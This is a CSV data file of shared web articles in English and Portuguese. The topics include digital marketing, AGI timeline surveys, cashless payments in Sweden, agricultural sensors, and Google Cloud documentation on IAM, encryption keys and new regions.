1460467277,CONTENT SHARED,1114791714656282929,-2820994773540913369,2983342316516906152,,,,HTML,http://www.oabcdacomunicacao.com.br/noticia/2873/tecnisa-melhora-performance-de-marketing-digital-com-estrategias-em-parceira-com-o-google,TECNISA melhora performance de marketing digital com estratégias em parceira com o Google,"Nos últimos três anos, as vendas por meio da internet representaram mais de 40% do total realizado - e a TECNISA sempre acreditou que ainda há muito espaço para crescimento. Foi por isso que a empresa investiu em 2015, com sucesso, em ações inovadoras de marketing digital somadas a anúncios inteligentes e de alto impacto, como os blasts, do Google, desenhados para atingir consumidores em determinado raio geográfico a partir do celular. A ação faz parte de um pacote de soluções no qual a Tecnisa, uma das maiores e mais inovadoras empresas do segmento de construção civil do país, aposta há pelo menos três anos, com o foco na geração de negócio. O resultado da iniciativa, que utilizou a rede de display do Google, foi incrementar ainda mais a performance digital e gerar oportunidades de venda de suas unidades de estoque em São Paulo, Curitiba e Manaus. O volume de potenciais compradores interessados nos produtos da incorporadora foi três vezes maior do que a média histórica e, por conta da capacidade de segmentação, o custo por aquisição foi o menor na última década. A ação impactava somente pessoas interessadas em imóveis e próximas aos empreendimentos. Por isso, refletiu diretamente no volume de visitação dos stands de venda, que aumentou cerca de 20% no período de veiculação. De acordo com dados do Google, a GDN (sigla para Google Display Network) pode atingir até 95% da população online. ""A combinação da geo-localização com o mobile permitiu criar uma comunicação mais relevante e assertiva, impactando potenciais compradores que estivessem próximos aos imóveis e dentro do processo de compra. Os resultados expressivos indicam o potencial de ações realmente integradas, onde a localização física do consumidor influencia na mídia online e, onde o digital, através da pertinência, impulsiona o fluxo de visitas no estande de vendas"", afirma Gustavo Reis, gerente de marketing da TECNISA. Imagem: Divulgação",pt
1460471742,CONTENT SHARED,-1691850508443380568,-1443636648652872475,-7488245537008085019,,,,HTML,https://medium.com/ai-revolution/when-will-the-first-machine-become-superintelligent-ae5a6f128503,When Will The First Machine Become Superintelligent? - AI Revolution,"When Will The First Machine Become Superintelligent? Predictions from Top AI Experts Note: This is the 6th part of a short essay series aiming to condense knowledge on the Artificial Intelligence Revolution . Feel free to start reading here or go to Part 1 . The project is based on the two-part essay AI Revolution by Tim Urban of Wait But Why. I recreated all images, shortened it x3 and added a couple of new perspectives. Read more on why/how I wrote it . ""How long until the first machine reaches superintelligence? Not shockingly, opinions vary wildly, and this is a heated debate among scientists and thinkers. Many, like professor Vernor Vinge , scientist Ben Goertzel , Sun Microsystems co-founder Bill Joy , or, most famously, inventor and futurist Ray Kurzweil , agree with machine learning expert Jeremy Howard when he puts up this graph during a TED Talk : ""Those people subscribe to the belief that this is happening soon -  that exponential growth is at work and machine learning, though only slowly creeping up on us now, will blow right past us within the next few decades. ""Others, like Microsoft co-founder Paul Allen , research psychologist Gary Marcus , NYU computer scientist Ernest Davis , and tech entrepreneur Mitch Kapor , believe that thinkers like Kurzweil are vastly underestimating the magnitude of the challenge [and the transition will actually take much more time] ... ""The Kurzweil camp would counter that the only underestimating that's happening is the underappreciation of exponential growth, and they'd compare the doubters to those who looked at the slow-growing seedling of the internet in 1985 and argued that there was no way it would amount to anything impactful in the near future. ""For the purposes of this question, assume that human scientific activity continues without major negative disruption. By what year would you see a (10% / 50% / 90%) probability for such Human-Level Machine Intelligence [or what we call AGI] to exist?"" ⁸⁸ ""The doubters might argue back that the progress needed to make advancements in intelligence also grows exponentially harder with each subsequent step, which will cancel out the typical exponential nature of technological progress. And so on. ""A third camp, which includes Nick Bostrom , believes neither group has any ground to feel certain about the timeline and acknowledges both A) that this could absolutely happen in the near future and B) that there's no guarantee about that; it could also take a much longer time. ""Still others, like philosopher Hubert Dreyfus , believe all three of these groups are naive for believing that there is potential of ASI [Artificial Super Intelligence - AI that achieves a level of intelligence smarter than all of humanity combined], arguing that it's more likely that it won't actually ever be achieved. ""So what do you get when you put all of these opinions together?"" ⁸⁶ Timeline for Artificial General Intelligence (AGI - AI that reaches human-level intelligence) ""In 2013, Vincent C. Müller and Nick Bostrom conducted a survey that asked hundreds of AI experts ... the following:"" ⁸⁷ The survey ""asked them to name an optimistic year (one in which they believe there's a 10% chance we'll have AGI), a realistic guess (a year they believe there's a 50% chance of AGI - i.e. after that year they think it's more likely than not that we'll have AGI), and a safe guess (the earliest year by which they can say with 90% certainty we'll have AGI). Gathered together as one data set, here were the results: Median optimistic year (10% likelihood) → 2022 Median realistic year (50% likelihood) → 2040 Median pessimistic year (90% likelihood) → 2075 ""So the median participant thinks it's more likely than not that we'll have AGI 25 years from now. The 90% median answer of 2075 means that if you're a teenager right now, the median respondent, along with over half of the group of AI experts, is almost certain AGI will happen within your lifetime.",en
1460473218,CONTENT SHARED,1317782055909095806,-5094446514734487376,-4490120455675884527,,,,HTML,http://www1.folha.uol.com.br/mercado/2016/04/1760052-dinheiro-pode-sair-de-circulacao-na-suecia-ate-2030.shtml,Dinheiro pode sair de circulação na Suécia até 2030,"BBC Na 'sociedade sem dinheiro', não haverá como homenagear com cédulas, como esta de Greta Garbo O fim do dinheiro de papel já é uma morte anunciada na Suécia: até 2030, as cédulas e moedas deverão virtualmente desaparecer no país, que lidera a tendência global em direção à chamada ""sociedade sem dinheiro"". A projeção é do Banco Central sueco. É o prenúncio de uma nova era, dizem especialistas. A previsão é de que, no futuro, as economias modernas serão dominadas pelo uso do cartão e da moeda eletrônica em escala mundial. Na Suécia, a transformação é visível. Cada vez mais cidadãos usam menos o dinheiro de papel, nesta sociedade em que os pagamentos já são feitos majoritariamente via cartão, celular e variados meios eletrônicos. E, na capital sueca, cresce o número de restaurantes e lojas que estampam o aviso: ""Não aceitamos dinheiro"". Novos dados do Banco Central sueco indicam que as transações em dinheiro representam, atualmente, apenas 2% do valor de todos os pagamentos realizados na Suécia - contra uma média de cerca de 7% no restante da Europa. TENDÊNCIA Com base nestes dados, a Sveriges Radio (rádio pública sueca) chegou a decretar a morte iminente do dinheiro para daqui a cinco anos: se mantido o ritmo atual indicado agora pelo Banco Central, segundo a rádio, as projeções apontam que já em 2021 o percentual de utilização do dinheiro na Suécia deverá cair para menos de 0.5%. Já o Banco Central sueco prefere adotar um tom mais cauteloso. ""Cerca de 20% dos pagamentos efetuados no comércio varejista ainda são feitos em dinheiro. Nossa avaliação é que o dinheiro continuará a circular na Suécia até aproximadamente o ano de 2030"", disse à agência sueca de notícias TT o porta-voz do Banco Central, Fredrik Wange. A expectativa é de que a Suécia deverá ser o primeiro país do mundo a abolir o dinheiro de papel. ""Os novos números do Banco Central confirmam uma tendência que cresce a cada ano no país"", disse à BBC Brasil o analista Bengt Nilervall, da Federação Sueca do Comércio (Svensk Handel). ""A Suécia continua à frente do resto da Europa, em relação à redução do uso do dinheiro do papel. E principalmente dos Estados Unidos, onde cerca de 47% dos pagamentos ainda são feitos em dinheiro"", acrescenta Nilervall, que destaca os avanços dos vizinhos nórdicos, Noruega e Dinamarca, na mesma direção. NÃO SE ACEITA DINHEIRO Em diversas lojas e diferentes setores de serviços da Suécia, mais de 95% dos pagamentos são feitos com cartão. Nos ônibus de Estocolmo, há tempos já não se aceita dinheiro. A tarifa deve ser paga com cartões pré-pagos ou via SMS, e basta mostrar ao motorista o celular com a mensagem que confirma o pagamento. Taxistas aceitam qualquer cartão. Também cresce o número de comerciantes que aceitam apenas cartão como pagamento. ""Toda semana, a Federação do Comércio sueca recebe telefonemas de comerciantes que perguntam se é legalmente permitido não aceitar dinheiro como pagamento. E é"", diz Nilervall. Até no quiosque de flores do bairro de Odenplan, no centro da capital sueca, um aviso foi colado: ""Preferência para pagamentos em cartão"". Feirantes e ambulantes também se adaptam à tendência cashless, e trabalham equipados com leitores portáteis de cartões. Um estudo recente da empresa de serviços financeiros Visa indica que os suecos usam seus cartões com uma frequência três vezes maior do que a maioria dos europeus. NOVAS TECNOLOGIAS Novas tecnologias e aplicativos de pagamento via celular também vêm sendo desenvolvidos com rapidez colossal. Entre as novidades mais recentes está o aplicativo Swish, que acabou criando um novo verbo na língua sueca: ""swishar"", que significa transferir dinheiro via celular. Para ""swishar"" dinheiro para outro usuário, basta digitar no celular o número de telefone da pessoa ou empresa a quem deseja transferir uma quantia, seguido por um código de segurança. A transação se dá em tempo real: em questão de segundos, pisca no celular de quem recebeu o dinheiro a mensagem de que a quantia entrou em sua conta bancária. O sistema Swish foi implementado nos seis maiores bancos da Suécia, como um método rápido e simples de transferência de dinheiro entre pessoas e empresas. O avanço tecnológico é apontado como uma das razões que explicam a liderança da Suécia no movimento em direção à cashless society: ""Os bancos e o comércio investiram maciçamente em sistemas de pagamentos eletrônicos na Suécia a partir da década de 90, e hoje em dia os consumidores estão acostumados a usá-los"", diz Niklas Arvidsson, professor de Dinâmica Industrial do Real Instituto de Tecnologia da Suécia (KTH). ROUBOS A BANCO EM QUEDA Os principais bancos da Suécia vêm simplesmente parando de lidar com dinheiro: cerca de 75% de suas agências já operam sem dinheiro - com a única exceção do Svenska Handelsbanken. Ladrões de banco vão se tornando, assim, personagens do passado. O número de roubos a agências bancárias vem atingindo o índice mais baixo dos últimos 30 anos, segundo a Associação dos Bancos sueca. Em 2014, de acordo com relatório publicado na página oficial na internet do Conselho Nacional Sueco para a Prevenção do Crime (Brottsförebyggande rådet - Brå), foram registrados no total 23 assaltos a banco no país. Para os bancos, as vantagens de uma futura sociedade sem dinheiro são evidentes. Em primeiro lugar, ela traria mais segurança para funcionários e clientes. E também eliminaria os altos custos de gerenciamento e transporte de dinheiro, estimados em cerca de 8,7 bilhões de coroas suecas - o equivalente a 0.3% do PIB sueco. Para os críticos da tendência, o aumento das transações digitais também representa o crescimento potencial de fraudes e riscos de segurança bancária, além do fato de que idosos e outros segmentos da sociedade têm acesso limitado a opções de pagamento eletrônico. PREOCUPAÇÃO A associação nacional dos aposentados suecos (Pensionärernas riksförbund - PRO) está preocupada com o ritmo da transformação. ""Isso está acontecendo a uma velocidade furiosa"", disse na reportagem da rádio sueca a presidente da associação, Christina Tallberg. ""E é importante para muitos idosos ter o direito de continuar a usar o dinheiro de papel, assim como para novos residentes do país, imigrantes e muitos outros que têm dificuldades para utilizar cartões"". Mas apesar de a Suécia ter lançado no ano passado uma nova coleção de cédulas, que inclui a efígie da atriz sueca Greta Garbo na nota de cem coroas, o fim do dinheiro parece um caminho sem volta. ""Voltar aos tempos do dinheiro de papel não é uma alternativa na Suécia. Fora de questão"", diz Bengt Nilervall. ""Se eu acredito que a Suécia não terá no futuro nenhum dinheiro em circulação? Bem, não. Mas com certeza o uso do dinheiro será drasticamente reduzido."" Em 1661, as primeiras cédulas de papel da Europa foram introduzidas pelo Stockholms Banco, o embrião do Banco Central da Suécia. Agora, ironicamente, os suecos vão se tornando os primeiros do mundo a desprezar o dinheiro vivo.",pt
1460474428,CONTENT SHARED,-6362580505010802881,1120069409160402054,-8391962998652053051,,,,HTML,http://techcrunch.com/2016/04/12/bosch-flextronics-back-cropx-to-help-farmers-feed-the-world-efficiently/,"Bosch, Flextronics back CropX to help farmers grow more food without wasting water","A Tel Aviv startup that wants to help farmers produce more food with fewer resources, CropX , has attracted sensor manufacturers Robert Bosch and Flextronics International as strategic backers. Specifically, Robert Bosch Venture Capital GmbH and accelerator Flex Lab IX added $1 million in venture funding to the Series A round for CropX, which now totals $10 million. CropX makes soil sensors and irrigation controllers for use on commercial farms. It also makes an app to help farmers interpret all the data they gather, and make choices about how to treat their land. CropX CEO and founder Isaac Bentwich , a medical doctor by training, and formerly the CEO of Rosetta Genomics, compared CropX's technology to personalized medicine. He said, ""As we are not all supposed to take the same pills for a headache, land is not homogenous or even. If you water it evenly, you're actually over-irrigating one part and under-watering another."" CropX products work with the existing pivot irrigation systems- or big, slow-moving sprinklers- that are already used on a majority of commercial farms today, and that would be costly for farmers to replace. The company's mission is to help the agriculture industry feed the world without wasting water , or dumping unneeded fertilizer, pesticides and herbicides into the ground, says Bentwich. That's going to take both research and development and hardware manufacturing help. That's why Bentwich sought the involvement of Bosch and Flextronics as investors, he said. ""Our new strategic partners can help us source supply for our hardware, and could even influence the design of new sensors that could go into our products in the future."" CropX tech is already being used at 20 row crop farms in four states in the U.S., encompassing some 5,000 acres. In the past growing season at those farms, yields increased up to 10 bushels per acre of corn, using 30% less water than in prior seasons, the company reports. Founded in 2013, CropX is rolling out a new-generation ""DIY"" soil sensor this week, one that can be screwed into the ground, and properly installed in about four minutes. Early investor in CropX, Arama Kukutai, a Partner with Finistere Ventures and a lifelong farmer himself, said the company is doing better than he expected it would at this early stage. He attributed part of that to the cost savings CropX promises. Additionally, he said, ""Farming is generally a conservative industry when it comes to adopting new technology. But it's become harder to hire skilled labor in the industry, too. So it's very useful when you can have one person sitting in an office on a farm, driving 100 different pivot irrigation systems from their iPad."" While the company has focused on row crop farming to-date, Kukutai said its hardware and agricultural analytics platform could serve well in any water-stressed region, and for higher-value crops like nuts, berries or wine grapes. ""When every irrigation inch is precious, like it is in places like California, you don't mind spending a little on analytics up front to get a gain and save money,"" Kukutai said.",en
1460479982,CONTENT SHARED,-584688562749460923,3734911646343191965,966208219555052420,,,,HTML,http://www.atitudessustentaveis.com.br/sustentabilidade/voce-conhece-o-ise/,Você Conhece o ISE? - Atitudes Sustentáveis,"O ISE ( Índice de Sustentabilidade Empresarial ) foi originado em 2005 pela Bovespa em união às empresas estatais e particulares que visam criar a união ética de investimentos no mercado com as perspectivas de sustentabilidade do planeta estimulando a prática de políticas empresariais que visam não só o desenvolvimento da economia do Brasil, mas o bem-estar e a qualidade de vida da nossa sociedade. Esse índice tem como premissa ser composto por empresas que se comprometem com investimentos em ações de responsabilidade social, projetos de sustentabilidade ambiental e servir como referência na prática dessas ações estimulando esse conceito no mercado empresarial brasileiro. Engana-se quem pensa que essa tendência mundial dos investidores em procurar por empresas que se preocupam com a sustentabilidade é recente. A prática é antiga e se fortalece a cada dia no mercado internacional, sendo que, no Brasil, é amparada e muito bem assistida pelo ISE. A ferramenta oferece uma comparação das empresas brasileiras que investem em políticas ambientalistas listadas pela Bovespa, com as demais que não são portadoras do selo. Por aqui, a procura por esse tipo de investimento só aumenta. Entende-se ser de grande valia investir em ações de empresas com esse ""selo de qualidade"", por trazerem inúmeras vantagens em relação às outras que não utilizam e não se beneficiam do ISE. Em resumo, o Índice de Sustentabilidade Empresarial serve como um elo, uma ferramenta de comprometimento financeiro e social entre empresas, o mercado de valores e o meio ambiente. O ecossistema, o bem-estar, a população e a sustentabilidade do nosso planeta agradecem.",pt
1460484544,CONTENT SHARED,5688279681867464747,3375381077362025672,4718359416970444168,,,,VIDEO,https://www.ted.com/talks/margaret_gould_stewart_how_giant_websites_design_for_you_and_a_billion_others_too,"Margaret Gould Stewart: How giant websites design for you (and a billion others, too)","Facebook's ""like"" and ""share"" buttons are seen 22 billion times a day, making them some of the most-viewed design elements ever created. Margaret Gould Stewart, Facebook's director of product design, outlines three rules for design at such a massive scale-one so big that the tiniest of tweaks can cause global outrage, but also so large that the subtlest of improvements can positively impact the lives of many.",en
1460485015,CONTENT SHARED,-5557505576293652420,3891637997717104548,3809100758364899270,,,,HTML,https://cloudplatform.googleblog.com/2016/03/announcing-two-new-Cloud-Platform-Regions-and-10-more-to-come_22.html,"Google Cloud Platform adds two new regions, 10 more to come","The public cloud is a network, not just a collection of data centers. Our global network has allowed us to build products that billions of users around the world can depend on. Whether you're in Taipei or Tijuana, you can get Gmail, Search, Maps or your Google Cloud Platform services with Google speed and reliability. We're adding to this global network for Cloud Platform customers by expanding our roster of existing Cloud Platform regions with two more - both operational later this year: US Western region in Oregon East Asia region in (Tokyo) Japan As always, each region has multiple availability zones, so that we can offer high-availability computing to our customers in each locale. These are the first two of more than 10 additional GCP regions we'll be adding to our network through 2017. This follows the opening last year of a US east coast region in South Carolina for all major GCP services. We're opening these new regions to help Cloud Platform customers deploy services and applications nearer to their own customers, for lower latency and greater responsiveness. With these new regions, even more applications become candidates to run on Cloud Platform, and get the benefits of Google-level scale and industry leading price/performance . The Japan region will be in beta for at least a month. You can fill out this survey to sign up for the beta, and we'll notify you as soon as it's ready. If you're interested in Oregon, please fill out this survey to be notified. To learn how to make the best use of Cloud Platform regions for your application needs, please see the Geography and Regions details page. - Posted by Varun Sakalkar, Product Manager",en
1460485100,CONTENT SHARED,-1762456938647577126,3891637997717104548,3809100758364899270,,,,HTML,https://cloud.google.com/iam/docs/overview,Cloud Identity and Access Management - Google IAM,"Cloud IAM lets you manage access control by defining who (identity) has what access (role) for which resource. Contents In Cloud IAM, you can grant access to the following types of identities: Google account Service account Google group Google Apps domain Google account A Google account represents a developer, an administrator, or any other person who interacts with Google Cloud Platform. An email address that is associated with a Google account, such as a gmail.com address, can be an identity. New users can sign up for a Google account by going to the Google account signup page . Service account A service account is an account that belongs to your application instead of to an individual end user. When you run code that is hosted on Cloud Platform, you specify the account that the code should run as. You can create as many service accounts as needed to represent the different logical components of your application. See the Google Cloud Platform Console Service Accounts documentation for more information. Google group A Google group is a named collection of Google accounts and service accounts. Every group has a unique email address that is associated with the group. You can find the email address that is associated with a Google group by clicking About on the homepage of any Google group. For more information about Google groups, see the Google groups homepage. Google groups are a convenient way to apply an access policy to a collection of users. You can grant and change access controls for a whole group at once instead of granting or changing access controls one-at-a-time for individual users or service accounts. You can also easily add members to and remove members from a Google group instead of updating a Cloud IAM policy to add or remove users. Note that Google groups don't have login credentials, and you cannot use Google groups to establish identity to make a request to access a resource. Google Apps domain A Google Apps domain represents a virtual group of all the members in an organization. Google Apps customers can associate their email accounts with an Internet domain name. When you do this, each email account takes the form username@yourdomain.com. You can specify an identity by using any Internet domain name that is associated with a Google Apps account. Like groups, domains cannot be used to establish identity, but they enable convenient permission management. After Google authenticates the identity making a request, Cloud IAM makes an authorization decision whether that identity is allowed to perform an operation on a resource. This section describes the entities and concepts involved in the authorization process. Resource You can grant access to users for a Cloud Platform resource. Some examples of resources are projects , Compute Engine instance , and Cloud Storage buckets . Permissions Permissions determine what operations are allowed on a resource. In the Cloud IAM world, permissions are represented in the form of <service>.<resource>.<verb> , for example pubsub.subscriptions.consume . Permissions usually, but not always, correspond 1:1 with REST methods. That is, each Cloud Platform service has an associated set of permissions for each REST method that it exposes. The caller of that method needs those permissions to call that method. For example, the caller of Publisher.Publish() needs the pubsub.topics.publish permission. Roles A role is a collection of permissions. You cannot assign a permission to the user directly; instead you grant them a role. When you grant a role to a user, you grant them all the permissions that the role contains. There are two kinds of roles in Cloud IAM: Primitive roles : The roles historically available in the Google Cloud Platform Console will continue to work. These are the Owner , Editor , and Viewer roles. Curated roles : Curated roles are the new IAM roles that give finer-grained access control than the primitive roles. For example, the curated role Publisher provides access to only publish messages to a Pub/Sub topic. For information about the available fine-grained IAM roles see Understanding Roles . Policy You can grant roles to users by creating a Cloud IAM policy , which is a collection of statements that define who has what type of access. A policy is attached to a resource and is used to enforce access control whenever that resource is accessed. Policy hierarchy Cloud Platform resources are organized hierarchically, where the Organization node is the root node in the hierarchy, the projects are the children of the Organization, and the other resources are the children of projects. Each resource has exactly one parent. The following diagram is an example of a Cloud Platform resource hierarchy: You can set an IAM access control policy at any level in the resource hierarchy: the Organization level, the project level or the resource level. Resources inherit the policies of the parent resource. If you set a policy at the organization level, it is automatically inherited by all its children projects, and if you set a policy at the project level, it is inherited by all its children resources. The effective policy for a resource is the union of the policy set at that resource and the policy inherited from its parent. This policy inheritance is transitive; in other words, resources inherit policies from the project, which inherit policies from the organization. Therefore, the organization-level policies also apply at the resource level. For example in the diagram above, topic_a is a Pub/Sub resource that lives under the project example-test. If you grant the editor role to bob@gmail.com for example-test, and and grant the publisher role to alice@gmail.com for topic_a, you effectively grant editor role to bob@gmail.com and publisher role to alice@gmail.com for topic_a. The IAM policy hierarchy follows the same path as the Cloud Platform resource hierarchy. If you change the resource hierarchy, the policy hierarchy changes as well. For example moving a project into an organization will update the project's IAM policy to inherit from the organization's IAM policy. Child policies cannot restrict access granted at the parent. For example, if you grant editor role to a user for a project, and grant viewer role to the same user for a child resource, then the user still has editor role for the child resource. Next steps",en
1460485168,CONTENT SHARED,8210960017870928723,3891637997717104548,3809100758364899270,,,,HTML,https://cloud.google.com/storage/docs/encryption,Customer Supplied Encryption Keys in Cloud Storage now in beta,"Google Cloud Storage always encrypts your data on the server side, before it is written to disk, at no additional charge. By default, Google Cloud Storage uses its own server-side encryption keys to encrypt data. Alternatively, you can provide your own encryption keys. In addition, you can choose to encrypt data on the client side before you write it to Google Cloud Storage. This page explains how to manage each type of data encryption. Warning: If you use customer-supplied encryption keys, or if you encrypt your data on the client side, you must securely manage your keys and ensure that they are not lost. If you lose your keys, you will no longer be able to read your data, and you will continue to be charged for storage of your objects until you delete them. Contents Server-side encryption This section explains how server-side encryption works with Google Cloud Storage. Default behavior By default, Google Cloud Storage manages server-side encryption keys on your behalf using the same hardened key management systems that we use for our own encrypted data, including strict key access controls and auditing. Google Cloud Storage encrypts user data at rest using AES-256 , and each encryption key is itself encrypted with a regularly rotated set of master keys. There is no setup or configuration required, no need to modify the way you access the service, and no visible performance impact. Data is automatically and transparently decrypted when read by an authorized user. To protect your data as it travels over the Internet during read and write operations, use Transport Layer Security, commonly known as TLS or HTTPS. Customer-supplied encryption keys Beta This is a Beta release of Customer-Supplied Encryption Keys. This feature is not covered by any SLA or deprecation policy and may be subject to backward-incompatible changes. You can also choose to provide your own AES-256 key for server-side encryption. This key is known as a customer-supplied encryption key . If you provide an encryption key, Google Cloud Storage does not permanently store your key on Google's servers or otherwise manage your key. Instead, you provide your key for each Google Cloud Storage operation, and your key is purged from Google's servers after the operation is complete. Google Cloud Storage stores only a cryptographic hash of the key so that future requests can be validated against the hash. Your key cannot be recovered from this hash, and the hash cannot be used to decrypt your data. Note: Note: You cannot use the Google Cloud Platform Console to download objects that are encrypted with a customer-supplied encryption key. Similarly, when you use the Google Cloud Platform Console to upload an object, you cannot encrypt the object with a customer-supplied encryption key. Google Cloud Storage Transfer Service , Cloud Dataflow , and Cloud Dataproc do not currently support objects encrypted with customer-supplied encryption keys. When an object is encrypted with a customer-supplied encryption key, you cannot retrieve the object's CRC32C checksum and MD5 hash unless you supply your key. In addition, the object's ETag contains a different value than the MD5 hash. Important: Metadata for objects and buckets is not encrypted, with the exception of the CRC32C checksum and MD5 hash for each object. In particular, the names of objects and buckets are not encrypted. Also, you can read or update the metadata of an encrypted object without providing the encryption key. Do not include sensitive information in your object and bucket metadata or names. To protect your data as it travels over the Internet during read and write operations, use Transport Layer Security, commonly known as TLS or HTTPS. TLS is required when you provide an encryption key. Generating a customer-supplied encryption key You can use the following Python command to generate a Base64-encoded AES-256 key, as well as the Base64-encoded SHA256 hash of the key: python -c 'import base64; import hashlib; import os; key = os.urandom(32); \ print ""Key: %sSHA256 hash: %s"" % (base64.encodestring(key), \ base64.encodestring(hashlib.sha256(key).digest()))' Using customer-supplied encryption keys with the JSON API You can use your own customer-supplied encryption key for any operation that is supported by Google Cloud Storage. Note: If an object is encrypted with a customer-supplied encryption key, and you attempt to read the object's metadata without providing the key, the metadata will not include the object's CRC32C checksum or MD5 hash. To use customer-supplied encryption keys with the JSON API, you must use a Google API Client Library . The Google Cloud Client Libraries do not support customer-supplied encryption keys. Request When you use a customer-supplied encryption key, you are required to provide both the AES-256 key and a SHA256 hash of the key. You should store both the AES-256 key and the SHA256 hash of the key securely. Google will store the SHA256 hash of your key in the object's metadata, where you can retrieve it later. This SHA256 hash cannot be used by Google (or anyone else) to decrypt your data. It is stored as a way for you to uniquely identify the AES-256 key that was used to encrypt a particular object. To use a customer-supplied encryption key, include the following HTTP headers in your request: If you are performing a rewrite operation, you must also include the following HTTP headers in your request. The headers listed above will be used for the destination object, and the following headers will be used for the source object. Important: The rewrite operation makes a copy of an object. If you omit the headers listed above in a rewrite operation, the destination object will be encrypted using the default server-side encryption, not customer-supplied encryption keys. Google Cloud Storage will use your encryption key to encrypt or decrypt the object as necessary for the request. Response The metadata for the customer-supplied encryption key is returned in the response, which includes the following additional properties: customerEncryption object Information about the encryption used for the request. customerEncryption.encryptionAlgorithm string The encryption algorithm that was used. Always contains the value AES256 . customerEncryption.keySha256 string An RFC 4648 Base64-encoded string of the SHA256 hash of your encryption key. You can use this SHA256 hash to uniquely identify the AES-256 encryption key required to decrypt the object, which you must store securely. You will receive an HTTP 400 error in the following cases: You upload an object using a customer-supplied encryption key, and you attempt to perform another operation on the object (other than requesting or updating metadata) without providing the key. You upload an object using a customer-supplied encryption key, and you attempt to perform another operation on the object with an incorrect key. You upload an object without providing a customer-supplied encryption key, and you attempt to perform another operation on the object with a customer-supplied encryption key. You specify an encryption algorithm, key, or SHA256 hash that is not valid. Sample code The following sample code illustrates how to use customer-supplied encryption keys to upload an object with the JSON API: Using customer-supplied encryption keys with the XML API You can use your own customer-supplied encryption key for any operation that is supported by Google Cloud Storage. Note: If an object is encrypted with a customer-supplied encryption key, and you attempt to read the object's metadata without providing the key, the metadata will not include the object's CRC32C checksum or MD5 hash. Request When you use a customer-supplied encryption key, you are required to provide both the AES-256 key and a SHA256 hash of the key. You should store both the AES-256 key and the SHA256 hash of the key securely. Google will store the SHA256 hash of your key in the object's metadata, where you can retrieve it later. This SHA256 hash cannot be used by Google (or anyone else) to decrypt your data. It is stored as a way for you to uniquely identify the AES-256 key that was used to encrypt a particular object. To use a customer-supplied encryption key, include the following HTTP headers in your request: Google Cloud Storage will use your encryption key to encrypt or decrypt the object as necessary for the request. Response The response includes the following headers: You will receive an HTTP 400 error in the following cases: You upload an object using a customer-supplied encryption key, and you attempt to perform another operation on the object (other than requesting or updating metadata) without providing the key. You upload an object using a customer-supplied encryption key, and you attempt to perform another operation on the object with an incorrect key. You upload an object without providing a customer-supplied encryption key, and you attempt to perform another operation on the object with a customer-supplied encryption key. You specify an encryption algorithm, key, or SHA256 hash that is not valid. Using customer-supplied encryption keys with gsutil You can use your own customer-supplied encryption key for any operation that is supported by gsutil. Installing a current version of gsutil To use a customer-supplied encryption key with gsutil, you need to install gsutil 4.18 or later . Updating the boto configuration file To use a customer-supplied encryption key, add the following option to your boto configuration file : Note: gsutil automatically calculates the SHA256 hash of your AES-256 encryption key, so there is no need to configure it in the .boto file. You can also specify multiple decryption keys, which will only be used to decrypt objects. (The encryption key is also used as a decryption key.) For details, see the gsutil documentation . After you specify encryption or decryption keys in your boto configuration file, they will be used for all subsequent gsutil commands. Note: gsutil will calculate the SHA256 hash of the supplied decryption keys and select the correct decryption key to use for a particular object by matching the SHA256 hash on the object's metadata. You will receive an error if you upload an object using a customer-supplied encryption key, and you attempt to perform another operation on the object (other than requesting or updating metadata) without providing the key. Rotating customer-supplied encryption keys If an object is encrypted using a customer-supplied encryption key, you can rotate the object's key by rewriting the object . Rewrites are supported only by the JSON API, not by the XML API. If your bucket uses Note: object versioning , be sure to delete the archived versions of your objects after you rotate the key. Archived versions will not be deleted automatically and will retain the old key. If you accidentally use your encryption key over an unencrypted (HTTP) connection, it is possible for an attacker to intercept your key. When this happens, the Google Cloud Storage API returns an error message warning you that your key may be compromised. You should immediately rotate your keys. Client-side encryption Server-side encryption can be used in combination with client-side encryption. With client-side encryption, you manage your own client-side encryption keys and encrypt data before writing it to Google Cloud Storage. In this case, your data is encrypted twice: once with your client-side key and once with a server-side key. When you read an object, you must decrypt the object on the client side. Note: Google Cloud Storage does not know if your data has already been encrypted on the client side, nor does Google Cloud Storage have any knowledge of your client-side encryption keys.",en
1460485221,CONTENT SHARED,-8512859527034085078,3891637997717104548,3809100758364899270,,,,HTML,https://cloudplatform.googleblog.com/2016/03/Google-Cloud-Launcher-simplifies-running-third-party-apps-in-the-cloud.html,Google Cloud Launcher simplifies running third party apps in the cloud,"The promise of technical agility is driving huge interest in public cloud from developers and businesses of all sizes. Inside this growing ecosystem, software marketplaces have emerged to further reduce the time to find, integrate and launch a solution. Today it's possible to discover and launch an app in minutes. The productivity gains that come with this are amazing, but there's also a downside: deep challenges with operations and support. Static image-based solutions tend to decay over time and without a clear path to update and manage, organizations end up running ""dead software."" That is, software with drifting configuration, stale images and low overall supportability. Today we're announcing a sweeping update to our Cloud Launcher marketplace. We've created a place where developers can go to find complete solutions with unprecedented levels of supportability and connectivity to the publisher. Here are the latest updates: Solutions are no more than a few clicks away . You can already access Cloud Launcher from within the Developers Console and we've now improved organization and search to make it even easier to find the solutions you need. Find the right configuration and specs for a solution more easily . Every solution now features a customized set of pre-configuration options as well as ready-to-use defaults, enabling you to get started more easily. Launcher solutions now use Google Cloud Deployment Manager , providing a complete view of all configuration aspects of your deployment in the Deployment Manager UI. Every solution's unique template can now be downloaded and modified so you can compose them with other Google Cloud Platform , third party, or private templates, enabling you to create even more sophisticated solutions. Production-grade solutions . More open source and commercial solutions now support both multi-VM and multi-resource deployments, ensuring the scale and reliability you require for production applications. Receive automatic security notices for deployed solutions . You will now be automatically notified when a security update is available for one of your Cloud Launcher solutions, making it easier to stay secure. Direct access to partner support . If you need help, you can now contact partner support directly through Cloud Launcher. We also provide a mechanism for partners to verify that inbound support requests are from verified buyers, ensuring that you get a timely response. We're always adding new solutions and services to the catalog to help you stay productive. So, the next time you're looking for a popular pre-built solution you can trust, start with Cloud Launcher . Launch on! - Posted by Anil Dhawan, Product Manager, Google Cloud Launcher",en
